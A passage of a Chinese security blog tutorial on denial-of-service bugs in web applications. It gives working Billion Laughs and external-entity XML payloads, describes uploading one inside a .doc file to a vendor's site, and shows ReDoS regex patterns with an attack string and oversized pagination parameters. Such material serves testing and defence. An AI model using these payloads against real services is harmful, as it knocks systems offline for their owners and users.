Laughs<\/h4>\n\n<p>\u636e\u8bf4\u8fd9\u88ab\u79f0\u4e3a<strong>\u5341\u4ebf\u5927\u7b11DoS\u653b\u51fb<\/strong>\uff0c\u5176\u6587\u4ef6\u5185\u5bb9\u4e3a\uff1a<\/p>\n\n<pre><code class=\"language-xml\">&lt;!DOCTYPE keyz [\n  &lt;!ENTITY key \"key\"&gt;\n  &lt;!ENTITY key2 \"&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;&amp;key;\"&gt;\n  &lt;!ENTITY key3 \"&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;&amp;key2;\"&gt;\n  &lt;!ENTITY key4 \"&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;&amp;key3;\"&gt;\n  &lt;!ENTITY key5 \"&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;&amp;key4;\"&gt;\n  &lt;!ENTITY key6 \"&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;&amp;key5;\"&gt;\n  &lt;!ENTITY key7 \"&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;&amp;key6;\"&gt;\n  &lt;!ENTITY key8 \"&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;&amp;key7;\"&gt;\n  &lt;!ENTITY key9 \"&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;&amp;key8;\"&gt;\n]&gt;\n&lt;keyz&gt;&amp;key9;&lt;\/keyz&gt;\n<\/code><\/pre>\n\n<p>\u8fd9\u662f\u4e00\u6bb5\u5b9e\u4f53\u5b9a\u4e49\uff0c\u4ece\u4e0b\u5411\u4e0a\u89c2\u5bdf\u7b2c\u4e00\u5c42\u53d1\u73b0<code>key9<\/code>\u753110\u4e2a<code>key8<\/code>\u7ec4\u6210\uff0c\u7531\u6b64\u7c7b\u63a8\u5f97\u51fa<code>key[n]<\/code>\u753110\u4e2a<code>key[n-1]<\/code>\u7ec4\u6210\uff0c\u90a3\u4e48\u6700\u7ec8\u7b97\u4e0b\u6765\u5b9e\u9645\u4e0a<code>key9<\/code>\u7531<code>10^9<\/code>(1000000000)\u4e2a<code>key[..]<\/code>\u7ec4\u6210\uff0c\u4e5f\u7b97\u662f\u540d\u526f\u5176\u5b9e\u4e86\uff5e<\/p>\n\n<p>\u672c\u5730\u6d4b\u8bd5\u89e3\u6790\u8be5XML\u6587\u6863\uff0c\u5927\u6982\u5360\u7528\u5185\u5b58\u57282.5GB\u5de6\u53f3\uff08\u5176\u4ed6\u6587\u7ae0\u4e2d\u51fa\u73b0\u7684\u5747\u4e3a3GB\u5de6\u53f3\u5185\u5b58\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911734062132.jpg\" alt=\"-w607\" \/><\/p>\n\n<p>\u8bd5\u60f3\uff1a<strong>\u8fd9\u53ea\u662f9\u5c42\u7ea7\u70b8\u5f39\uff0c\u5982\u679c\u518d\u591a\u4e00\u70b9\u5462\uff1f<\/strong><\/p>\n\n<h4 id=\"external-entity\">External Entity<\/h4>\n\n<p>\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\uff0c\u6587\u6863\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-xml\">&lt;!DOCTYPE keyz [\n    &lt;!ENTITY wechat SYSTEM \"https:\/\/dldir1.qq.com\/weixin\/Windows\/WeChatSetup.exe\"&gt;\n]&gt;\n&lt;keyz&gt;&amp;wechat;&lt;\/keyz&gt;\n<\/code><\/pre>\n\n<p>\u8fd9\u4e2a\u7406\u89e3\u8d77\u6765\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u5c31\u662f\u4ece\u5916\u90e8\u7684\u94fe\u63a5\u4e2d\u53bb\u83b7\u53d6\u89e3\u6790\u5b9e\u4f53\uff0c\u800c\u6211\u4eec\u53ef\u4ee5\u8bbe\u7f6e\u8fd9\u4e2a\u89e3\u6790URL\u4e3a\u4e00\u4e2a\u8d85\u5927\u6587\u4ef6\u7684\u4e0b\u8f7d\u5730\u5740\uff0c\u4ee5\u4e0a\u6240\u4e3e\u4f8b\u5c31\u662f\u5fae\u4fe1\u7684\u3002<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911781853694.jpg\" alt=\"-w370\" \/><\/p>\n\n<p>\u5f53\u7136\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u8bbe\u7f6e\u4e00\u4e2a\u4e0d\u8fd4\u56de\u7ed3\u679c\u7684\u5730\u5740\uff0c\u5982\u679c\u5916\u90e8\u5730\u5740\u4e0d\u8fd4\u56de\u7ed3\u679c\uff0c\u90a3\u4e48\u8fd9\u4e2a\u89e3\u6790\u5c31\u4f1a\u5728\u6b64\u5904\u4e00\u76f4\u6302\u8d77\u4ece\u800c\u5360\u7528\u5185\u5b58\u3002<\/p>\n\n<h4 id=\"internal-entity\">Internal Entity<\/h4>\n\n<p>\u5185\u90e8\u5b9e\u4f53\u5f15\u7528\uff0c\u6587\u6863\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-xml\">&lt;!DOCTYPE keyz [\n  &lt;!ENTITY a \"a...a\"&gt;\n]&gt;\n&lt;keyz&gt;&amp;a;...&amp;a;&lt;\/keyz&gt;\n<\/code><\/pre>\n\n<p>\u5176\u610f\u601d\u5c31\u662f\u5b9e\u4f53<code>a<\/code>\u7684\u5185\u5bb9\u53c8\u81ed\u53c8\u957f\uff0c\u800c\u540e\u53c8N\u6b21\u5f15\u7528\u8fd9\u4e2a\u5b9e\u4f53\u5185\u5bb9\uff0c\u8fd9\u5c31\u4f1a\u9020\u6210\u89e3\u6790\u7684\u65f6\u5019\u5360\u7528\u5927\u91cf\u8d44\u6e90\u3002<\/p>\n\n<h4 id=\"\u5b9e\u9645\u573a\u666f-2\">\u5b9e\u9645\u573a\u666f<\/h4>\n\n<p><img src=\"\/images\/2020-06-22\/15911513808996.jpg\" alt=\"-w455\" \/><\/p>\n\n<p>\u4e00\u5f00\u59cb\u901a\u8fc7\u6b64\u5904\u4e0a\u4f20<code>doc<\/code>\u6587\u6863\u7684\u529f\u80fd\uff0c\u53d1\u73b0\u4e86\u4e00\u679a<code>XXE\u6ce8\u5165<\/code>\uff0c\u63d0\u4ea4\u540e\u5382\u5546\u8fdb\u884c\u4fee\u590d\uff0c\u4f46\u590d\u6d4b\u540e\u53d1\u73b0\u5176\u4fee\u590d\u7684\u7ed3\u679c\u5c31\u662f\u9ed1\u540d\u5355<code>SYSTEM<\/code>\u5173\u952e\u8bcd\uff0c\u6ca1\u529e\u6cd5\u901a\u8fc7\u5e26\u5916\u901a\u9053\u8bfb\u53d6\u654f\u611f\u6570\u636e\u4e86\uff5e<\/p>\n\n<p>\u62b1\u7740\u8bd5\u4e00\u8bd5\u7684\u5fc3\u6001\u5c06<code>Billion Laughs<\/code>\u7684<code>Payload<\/code>\u653e\u5165\u5230<code>doc<\/code>\u6587\u6863\u4e2d(\u8fd9\u91cc\u4e0e<code>XXE doc\u6587\u6863<\/code>\u5236\u4f5c\u65b9\u5f0f\u4e00\u6837\u4fee\u6539<code>[Content_Types].xml<\/code>\u6587\u4ef6\uff0c\u91cd\u65b0\u6253\u5305\u5373\u53ef)\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15912347343829.jpg\" alt=\"-w1274\" \/><\/p>\n\n<p>\u4e0a\u4f20\u4e4b\u540e\u4ea7\u751f\u7684\u6548\u679c\u5c31\u662f\u7f51\u7ad9\u5ef6\u65f6\u6781\u9ad8\uff0c\u81f3\u6b64\u5c31\u5b8c\u6210\u4e86\u6574\u4e2a\u6d4b\u8bd5\u3002<\/p>\n\n<h3 id=\"redos\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\u653b\u51fb\">ReDoS(\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\u653b\u51fb)<\/h3>\n\n<p>ReDoS\uff0c\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f\u7531\u6b63\u5219\u8868\u8fbe\u5f0f\u9020\u6210\u7684\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u5f53\u7f16\u5199\u6821\u9a8c\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u5b58\u5728\u7f3a\u9677\u6216\u8005\u4e0d\u4e25\u8c28\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u7279\u6b8a\u7684\u5b57\u7b26\u4e32\u6765\u5927\u91cf\u6d88\u8017\u670d\u52a1\u5668\u7684\u7cfb\u7edf\u8d44\u6e90\uff0c\u9020\u6210\u670d\u52a1\u5668\u7684\u670d\u52a1\u4e2d\u65ad\u6216\u505c\u6b62\u3002<\/p>\n\n<p>\u5728\u6b63\u5f0f\u4e86\u89e3ReDoS\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3\u4e00\u4e0b\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u4e24\u7c7b\u5f15\u64ce\uff1a<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u540d\u79f0<\/th>\n      <th>\u533a\u522b<\/th>\n      <th>\u5e94\u7528<\/th>\n      <th>\u5339\u914d\u65b9\u5f0f<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>DFA<\/td>\n      <td>DFA\u5bf9\u4e8e\u6587\u672c\u4e32\u91cc\u7684\u6bcf\u4e00\u4e2a\u5b57\u7b26\u53ea\u9700\u626b\u63cf\u4e00\u6b21\uff0c\u901f\u5ea6\u5feb\u3001\u7279\u6027\u5c11<\/td>\n      <td>awk(\u5927\u591a\u6570\u7248\u672c)\u3001egrep\uff08\u5927\u591a\u6570\u7248\u672c\uff09\u3001flex\u3001lex\u3001MySQL\u3001Procmail\u2026<\/td>\n      <td>\u6587\u672c\u6bd4\u8f83\u6b63\u5219<\/td>\n    <\/tr>\n    <tr>\n      <td>NFA<\/td>\n      <td>NFA\u8981\u7ffb\u6765\u8986\u53bb\u6807\u6ce8\u5b57\u7b26\u3001\u53d6\u6d88\u6807\u6ce8\u5b57\u7b26\uff0c\u901f\u5ea6\u6162\uff0c\u4f46\u662f\u7279\u6027(\u5982:\u5206\u7ec4\u3001\u66ff\u6362\u3001\u5206\u5272)\u4e30\u5bcc<\/td>\n      <td>GNU Emacs\u3001Java\u3001grep\uff08\u5927\u591a\u6570\u7248\u672c\uff09\u3001less\u3001more\u3001.NET\u8bed\u8a00\u3001PCRE library\u3001Perl\u3001PHP\uff08\u6240\u6709\u4e09\u5957\u6b63\u5219\u5e93\uff09\u3001Python\u3001Ruby\u3001set\uff08\u5927\u591a\u6570\u7248\u672c\uff09\u3001vi\u2026<\/td>\n      <td>\u6b63\u5219\u6bd4\u8f83\u6587\u672c<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u6587\u672c\u6bd4\u8f83\u6b63\u5219\uff1a\u770b\u5230\u4e00\u4e2a\u5b50\u6b63\u5219\uff0c\u5c31\u628a\u53ef\u80fd\u5339\u914d\u7684\u6587\u672c\u5168\u6807\u6ce8\u51fa\u6765\uff0c\u7136\u540e\u518d\u770b\u6b63\u5219\u7684\u4e0b\u4e00\u4e2a\u90e8\u5206\uff0c\u6839\u636e\u65b0\u7684\u5339\u914d\u7ed3\u679c\u66f4\u65b0\u6807\u6ce8\u3002<\/p>\n\n<p>\u6b63\u5219\u6bd4\u8f83\u6587\u672c\uff1a\u770b\u89c1\u4e00\u4e2a\u5b57\u7b26\uff0c\u5c31\u628a\u5b83\u8ddf\u6b63\u5219\u6bd4\u8f83\uff0c\u5339\u914d\u5c31\u6807\u6ce8\u4e0b\u6765\uff0c\u7136\u540e\u63a5\u7740\u5f80\u4e0b\u5339\u914d\u3002\u4e00\u65e6\u4e0d\u5339\u914d\uff0c\u5c31\u5ffd\u7565\u8fd9\u4e2a\u5b57\u7b26\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u76f4\u5230\u56de\u5230\u4e0a\u4e00\u6b21\u6807\u6ce8\u5339\u914d\u7684\u5730\u65b9\u3002<\/p>\n\n<p>\u90a3\u4e48\u5b58\u5728ReDoS\u7684\u6838\u5fc3\u5c31\u662f<strong>NFA\u6b63\u5219\u8868\u8fbe\u5f0f\u5f15\u64ce<\/strong>\uff0c\u5b83\u7684\u591a\u6a21\u5f0f\u4f1a\u8ba9\u81ea\u8eab\u9677\u5165\u9012\u5f52\u9669\u5883\uff0c\u4ece\u800c\u5bfc\u81f4\u5360\u7528\u5927\u91cfCPU\u8d44\u6e90\uff0c\u6027\u80fd\u6781\u5dee\uff0c\u4e25\u91cd\u5219\u5bfc\u81f4\u62d2\u7edd\u670d\u52a1\u3002<\/p>\n\n<h4 id=\"nfa-\u56de\u6eaf\">NFA \u56de\u6eaf<\/h4>\n\n<p>\u7b80\u5355\u7684\u804a\u4e00\u4e0b\u4ec0\u4e48\u662f\u56de\u6eaf\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n<pre><code class=\"language-regex\">ke{1,3}y \n<\/code><\/pre>\n\n<p>\u5176\u610f\u56fe\u5f88\u7b80\u5355\uff0c<code>e<\/code>\u5b57\u7b26\u9700\u8981\u5339\u914d1-3\u6b21\uff0c<code>k<\/code>\u3001<code>y<\/code>\u5339\u914d\u4e00\u6b21\u5373\u53ef\u3002<\/p>\n\n<p>\u73b0\u5728\u6211\u4eec\u9047\u5230\u4e86\u4e24\u4e2a\u9700\u8981\u5339\u914d\u7684\u5b57\u7b26\u4e32\uff1a<\/p>\n\n<ul>\n  <li>keeey<\/li>\n  <li>key<\/li>\n<\/ul>\n\n<p>\u5b57\u7b26\u4e32<code>keeey<\/code>\u7684\u5339\u914d\u8fc7\u7a0b\u662f\u4e00\u6c14\u5475\u6210\u7684\uff1a\u5339\u914d<code>k<\/code>\u5b8c\u6210\u4e4b\u540e\uff0c\u5b8c\u6574\u5339\u914d<code>e<\/code>\uff0c\u6700\u540e\u662f\u5339\u914d<code>y<\/code><\/p>\n\n<p>\u5b57\u7b26\u4e32<code>key<\/code>\u7684\u5339\u914d\u8fc7\u7a0b\u5c31\u53d1\u751f\u4e86\u56de\u6eaf\uff0c\u5176\u5339\u914d\u8fc7\u7a0b\u5982\u4e0b\u56fe\u6240\u793a\uff08<strong>\u6a59\u8272\u4e3a\u5339\u914d\uff0c\u9ec4\u8272\u4e3a\u4e0d\u5339\u914d<\/strong>\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15912407800934.jpg\" alt=\"-w630\" \/><\/p>\n\n<p>\u524d\u4e24\u6b65\u5c5e\u4e8e\u6b63\u5e38\uff0c\u4f46\u4ece\u7b2c3\u6b65\u5f00\u59cb\u5c31\u4e0d\u4e00\u6837\u4e86\uff0c\u8fd9\u91cc\u5b57\u7b26\u4e32<code>key<\/code>\u5df2\u7ecf\u6709\u4e00\u4e2a<code>e<\/code>\u88ab<code>e{1,3}<\/code>\u5339\u914d\uff0c\u4f46\u5b83\u4e0d\u4f1a\u5c31\u6b64\u4f5c\u7f62\uff0c\u800c\u4f1a\u7ee7\u7eed\u5411\u540e\u7528\u6b63\u5219<code>e{1,3}<\/code>\u5339\u914d\u5b57\u7b26<code>y<\/code>\uff0c\u800c\u5f53\u53d1\u73b0\u5b57\u7b26\u4e0d\u5339\u914d\u540e\uff0c\u5c31\u5ffd\u7565\u8be5\u5b57\u7b26\uff0c\u8fd4\u56de\u5230\u4e0a\u4e00\u6b21\u6807\u6ce8\u5339\u914d\u7684\u5b57\u7b26<code>e<\/code>\u518d\u8fdb\u884c\u4e00\u6b21\u5339\u914d\uff0c\u81f3\u6b64\u5c31\u53d1\u751f\u4e86\u4e00\u6b21\u56de\u6eaf\uff0c\u6700\u540e\u5339\u914d<code>y<\/code>\u7ed3\u675f\u6574\u4e2a\u6b63\u5219\u5339\u914d\u8fc7\u7a0b\u3002<\/p>\n\n<p>\u90a3\u4e48\u4e3a\u4ec0\u4e48\u4f1a\u4ea7\u751f\u56de\u6eaf\u5462\uff1f\u8fd9\u8ddfNFA\u7684\u8d2a\u5a6a\u6a21\u5f0f\u6709\u5173\uff08\u8d2a\u5a6a\u6a21\u5f0f\u9ed8\u8ba4\u662f\u5f00\u542f\u7684\uff09\u3002<\/p>\n\n<h4 id=\"nfa-\u8d2a\u5a6a\">NFA \u8d2a\u5a6a<\/h4>\n\n<p>\u6211\u4eec\u60f3\u8981\u5f7b\u5e95\u6478\u6e05\u695a\u6574\u4e2a\u8fc7\u7a0b\u5c31\u8981\u629b\u6839\u95ee\u5e95\uff0c\u7a76\u5176\u539f\u7406\uff0c\u6240\u4ee5\u6765\u4e86\u89e3\u4e00\u4e0b\u8d2a\u5a6a\u6a21\u5f0f\uff5e<\/p>\n\n<p>\u6839\u636e\u4ee5\u4e0a\u6240\u4e3e\u7684\u6848\u4f8b\u6211\u4eec\u53ef\u4ee5\u7406\u89e3\u8d2a\u5a6a\u6a21\u5f0f\u5bfc\u81f4\u7684\u56de\u6eaf\u5176\u5b9e\u5c31\u662f\uff1a<strong>\u4e0d\u649e\u5357\u5899\u4e0d\u56de\u5934<\/strong><\/p>\n\n<p>\u4ee5\u4e0b\u6240\u5217\u7684\u5143\u5b57\u7b26\uff0c\u5927\u5bb6\u5e94\u8be5\u90fd\u6e05\u695a\u5176\u7528\u6cd5\uff1a<\/p>\n\n<p>i. <code>?<\/code>: \u544a\u8bc9\u5f15\u64ce\u5339\u914d\u524d\u5bfc\u5b57\u7b260\u6b21\u6216\u4e00\u6b21\uff0c\u4e8b\u5b9e\u4e0a\u662f\u8868\u793a\u524d\u5bfc\u5b57\u7b26\u662f\u53ef\u9009\u7684\u3002\nii. <code>+<\/code>: \u544a\u8bc9\u5f15\u64ce\u5339\u914d\u524d\u5bfc\u5b57\u7b261\u6b21\u6216\u591a\u6b21\u3002\niii. <code>*<\/code>: \u544a\u8bc9\u5f15\u64ce\u5339\u914d\u524d\u5bfc\u5b57\u7b260\u6b21\u6216\u591a\u6b21\u3002\niv. <code>{min, max}<\/code>: \u544a\u8bc9\u5f15\u64ce\u5339\u914d\u524d\u5bfc\u5b57\u7b26min\u6b21\u5230max\u6b21\u3002min\u548cmax\u90fd\u662f\u975e\u8d1f\u6574\u6570\u3002\u5982\u679c\u6709\u9017\u53f7\u800cmax\u88ab\u7701\u7565\u4e86\uff0c\u5219\u8868\u793amax\u6ca1\u6709\u9650\u5236\uff1b\u5982\u679c\u9017\u53f7\u548cmax\u90fd\u88ab\u7701\u7565\u4e86\uff0c\u5219\u8868\u793a\u91cd\u590dmin\u6b21\u3002<\/p>\n\n<p>\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u51e0\u4e2a\u5143\u5b57\u7b26\u90fd\u662f\u8d2a\u5a6a\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u4f1a\u6839\u636e\u524d\u5bfc\u5b57\u7b26\u53bb\u5339\u914d\u5c3d\u53ef\u80fd\u591a\u7684\u5185\u5bb9\u3002\u8fd9\u4e5f\u5c31\u89e3\u91ca\u4e86\u4e4b\u524d\u6240\u4e3e\u4f8b\u7684\u56de\u6eaf\u4e8b\u4ef6\u4e86\u3002<\/p>\n\n<h4 id=\"\u6076\u610f\u6b63\u5219\u8868\u8fbe\u5f0f\">\u6076\u610f\u6b63\u5219\u8868\u8fbe\u5f0f<\/h4>\n\n<p>\u9519\u8bef\u7684\u4f7f\u7528\u4ee5\u4e0a\u6240\u5217\u7684\u5143\u5b57\u7b26\u5c31\u4f1a\u5bfc\u81f4\u62d2\u7edd\u670d\u52a1\u7684\u98ce\u9669\uff0c\u6b64\u7c7b\u79f0\u4e4b\u4e3a\u6076\u610f\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u5176\u8868\u73b0\u5f62\u5f0f\u4e3a\uff1a<\/p>\n<ol>\n  <li>\u4f7f\u7528\u91cd\u590d\u5206\u7ec4\u6784\u9020<\/li>\n  <li>\u5728\u91cd\u590d\u7ec4\u5185\u4f1a\u51fa\u73b0\uff1a\u91cd\u590d\u3001\u4ea4\u66ff\u91cd\u53e0<\/li>\n<\/ol>\n\n<p>\u7b80\u5355\u7684\u8868\u8fbe\u51fa\u6765\u5c31\u662f\u4ee5\u4e0b\u51e0\u79cd\u60c5\u51b5(\u6709\u7f3a\u9677\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u4f1a<strong>\u5305\u542b\u5982\u4e0b\u90e8\u5206<\/strong>)\uff1a<\/p>\n\n<pre><code class=\"language-regex\">(a+)+\n([a-zA-Z]+)*\n(a|aa)+\n(a|a?)+\n(.*a){x} for x &gt; 10\n<\/code><\/pre>\n\n<h4 id=\"redos-\u6076\u610f\u6b63\u5219\u68c0\u6d4b\">ReDoS \u6076\u610f\u6b63\u5219\u68c0\u6d4b<\/h4>\n\n<p>\u5bf9\u4e8e\u590d\u6742\u7684\u6076\u610f\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u9760\u4eba\u5de5\u53bb\u770b\u96be\u514d\u6709\u4e9b\u8bb8\u8d39\u52b2\uff0c\u63a8\u8350\u4e00\u6b3e\u5de5\u5177\uff1ahttps:\/\/github.com\/superhuman\/rxxr2\/tree\/fix-multiline (\u5b89\u88c5\u53c2\u8003\u9879\u76ee\u7684<code>readme<\/code>)<\/p>\n\n<p>\u8be5\u5de5\u5177\u652f\u6301\u5927\u6279\u91cf\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u68c0\u6d4b\uff0c\u5e76\u7ed9\u51fa\u68c0\u6d4b\u7ed3\u679c\u3002<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15913217511512.jpg\" alt=\"-w294\" \/><\/p>\n\n<h4 id=\"\u5b9e\u9645\u573a\u666f-3\">\u5b9e\u9645\u573a\u666f<\/h4>\n\n<p>\u5f88\u5e86\u5e78\u7684\u662f\u5927\u591aWeb\u811a\u672c\u8bed\u8a00\u7684\u6b63\u5219\u5f15\u64ce\u90fd\u4e3aNFA\uff0c\u6240\u4ee5\u4e5f\u5f88\u65b9\u4fbf\u6211\u4eec\u505a\u4e00\u4e9bWeb\u5c42\u9762\u7684\u6316\u6398\u3002<\/p>\n\n<p>\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u5927\u5bb6\u6709\u6ca1\u6709\u53d1\u73b0\u8fc7\u8fd9\u6837\u4e00\u4e2a\u903b\u8f91\uff1a<strong>\u5bc6\u7801\u4e2d\u4e0d\u80fd\u5305\u542b\u7528\u6237\u540d<\/strong><\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15912543787232.jpg\" alt=\"-w504\" \/><\/p>\n\n<p>\u8fd9\u662f\u4e00\u4e2a\u7528\u6237\u6dfb\u52a0\u7684\u529f\u80fd\uff0c\u5176\u6821\u9a8c\u662f\u901a\u8fc7\u540e\u7aef\u7684\uff0c\u8bf7\u6c42\u5305\u5982\u4e0b<\/p>\n\n<pre><code class=\"language-http\">POST \/index\/userAdd HTTP\/1.1\nHost: [host]\n...\n\nnickname=xxx&amp;password=xxx&amp;...\n<\/code><\/pre>\n\n<p>\u5f53<code>password<\/code>\u4e2d\u5305\u542b<code>nickname<\/code>\u5219\u63d0\u793a<strong>\u5bc6\u7801\u4e2d\u4e0d\u80fd\u5305\u542b\u7528\u6237\u540d<\/strong><\/p>\n\n<p>\u5229\u7528Python\u7b80\u5355\u8fd8\u539f\u4e00\u4e0b\u540e\u7aef\u903b\u8f91\uff1a<\/p>\n\n<pre><code class=\"language-python\"># -*- coding: utf-8 -*-\nimport sys,re\nusername = sys.argv[1]\npassword = sys.argv[2]\n\nregex = re.compile(username)\nif (regex.match(password)):\n    print u'\u5bc6\u7801\u4e2d\u4e0d\u80fd\u5305\u542b\u7528\u6237\u540d'\nelse:\n    print u'\u7528\u6237\u6dfb\u52a0\u6210\u529f'\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2020-06-22\/15912570317566.jpg\" alt=\"-w468\" \/><\/p>\n\n<p>\u8fd9\u65f6\u5019\u7528\u6237\u540d\u662f\u4e00\u4e2a\u6b63\u5219\uff0c\u5bc6\u7801\u662f\u4e00\u4e2a\u5f85\u5339\u914d\u5b57\u7b26\u4e32\uff0c\u800c\u8fd9\u65f6\u5019\u6211\u4eec\u90fd\u53ef\u4ee5\u8fdb\u884c\u63a7\u5236\uff0c\u4e5f\u5c31\u80fd\u6784\u5efa\u6076\u610f\u7684\u6b63\u5219\u7684\u8868\u8fbe\u5f0f\u548c\u5b57\u7b26\u4e32\u8fdb\u884cReDoS\u653b\u51fb\u3002<\/p>\n\n<p>\u6076\u610f\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<code>a(b|c+)+d<\/code>\n\u5b57\u7b26\u4e32\uff08\u6211\u4eec\u8981\u60f3\u8ba9\u5176\u9677\u5165\u56de\u6eaf\u6a21\u5f0f\u5c31\u4e0d\u80fd\u8ba9\u5176\u5339\u914d\u5230\uff0c\u6240\u4ee5\u4f7f\u7528<code>ac......cx<\/code>\u7684\u683c\u5f0f\u5373\u53ef\uff09\uff1a<code>acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx<\/code><\/p>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793aReDoS\u653b\u51fb\u6210\u529f\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15912572931314.jpg\" alt=\"-w905\" \/><\/p>\n\n<p>\u6211\u4eec\u53ea\u9700\u8981\u4ee5\u540c\u6837\u7684\u65b9\u5f0f\u66ff\u6362\u539f\u8bf7\u6c42\u5305\u4e2d\u7684\u53c2\u6570\u503c\u5373\u53ef\uff08<strong>\u524d\u63d0\u662f\u8be5\u529f\u80fd\u6ca1\u6709\u9650\u5236\u5b57\u7b26\u4e32\u957f\u5ea6\u548c\u7279\u6b8a\u5b57\u7b26<\/strong>\uff09\uff5e<\/p>\n\n<p>\u8fd8\u6709\u66f4\u591a\u5e94\u7528\u573a\u666f\u7b49\u5f85\u53bb\u53d1\u73b0\uff0c\u8fd9\u91cc\u5c31\u4e0d\u8fc7\u591a\u8d58\u8ff0\u4e86\uff5e<\/p>\n\n<h3 id=\"\u6570\u636e\u67e5\u8be2\u6570\u91cf\u53ef\u63a7\">\u6570\u636e\u67e5\u8be2\u6570\u91cf\u53ef\u63a7<\/h3>\n\n<p>\u60f3\u5fc5\u5982\u4e0b\u8fd9\u7c7b\u63a5\u53e3\u5927\u5bb6\u90fd\u89c1\u591a\u4e86\u5427\uff1a<\/p>\n\n<pre><code class=\"language-text\">\/api\/getInfo?page=1&amp;page_size=10 ...\n\/api\/viewData?startTime=&amp;endTime=1591258015173 ... \n...\n<\/code><\/pre>\n\n<p>\u800c\u8fd9\u7c7b\u63a5\u53e3\u901a\u5e38\u90fd\u662f\u8c03\u7528\u6570\u636e\u7684\uff0c\u5f53\u4e00\u4e2a\u7cfb\u7edf\u6570\u636e\u91cf\u5341\u5206\u5927\uff08\u8fd9\u4e5f\u662f\u62d2\u7edd\u670d\u52a1\u7684\u524d\u63d0\uff09\u7684\u65f6\u5019\u5c31\u9700\u8981\u5206\u9875\u529f\u80fd\u53bb\u4f18\u5316\u6027\u80fd\uff0c\u90a3\u6211\u4eec\u5c1d\u8bd5\u5c06\u8fd9\u4e2a\u53ef\u63a7\u7684\u6570\u636e\u67e5\u8be2\u91cf\u7684\u53c2\u6570\u6570\u503c\u8fdb\u884c\u4fee\u6539\u4f1a\u600e\u4e48\u6837\uff1f\u6bd4\u5982<code>page_size=10000<\/code>\uff0c\u518d\u53bb\u8bf7\u6c42\u4f1a\u53d1\u73b0\u670d\u52a1\u5668\u660e\u663e\u6709\u8fd4\u56de\u5ef6\u8fdf\uff08\u5927\u91cf\u6570\u636e\u7684\u67e5\u8be2\u5c55\u793a\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15912593992264.jpg\" alt=\"-w271\" \/><\/p>\n\n<p>\u90a3\u5982\u679c\u662f<code>page_size=100000000000<\/code>\u5462\uff1f\u60f3\u8c61\u4e00\u4e0b\uff0c\u4ece\u67e5\u8be2\u5230\u6570\u636e\u683c\u5f0f\u7684\u5904\u7406\u8fd4\u56de\u5c55\u793a\uff0c\u8981\u5360\u7528\u5de8\u5927\u7684\u670d\u52a1\u5668\u8d44\u6e90\uff0c\u6211\u4eec\u5982\u679c\u5c1d\u8bd5\u53bb\u591a\u6b21\u91cd\u653e\u6b64\u7c7b\u8bf7\u6c42\uff0c\u670d\u52a1\u5668\u7ec8\u7a76\u8fd8\u662f\u65e0\u6cd5\u627f\u53d7\u8fd9\u6837\u7684\u201c\u529b\u91cf\u201d\uff0c\u6700\u540e\u5bfc\u81f4\u5b95\u673a\u2026<\/p>\n\n<p>\u65f6\u95f4\u53c2\u6570<code>startTime<\/code>\u4e5f\u662f\u5982\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u7f6e\u7a7a